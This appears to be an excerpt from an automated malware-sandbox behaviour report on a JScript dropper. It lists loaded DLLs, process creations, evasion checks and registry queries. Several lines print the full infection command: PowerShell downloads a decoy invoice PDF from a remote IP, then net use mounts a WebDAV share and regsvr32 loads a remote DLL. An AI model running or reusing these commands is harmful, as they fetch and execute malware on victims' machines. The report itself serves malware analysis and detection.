Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7246.js.csv");ITextStream.WriteLine(" entry:8680 f:clfkbmqr");ITextStream.WriteLine(" exec:2 f:clfkbmqr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4957			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4914			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1508	Thread sleep count: 4957 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1508	Thread sleep count: 4914 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4924	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5180	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2120	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7328	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1717811456.000001D639A50000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000006.00000002.1801453411.000001BF0A838000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1801453411.000001BF0A89A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3008493547.00000257FF254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.3007194238.00000257FDC2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\228212253724838.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

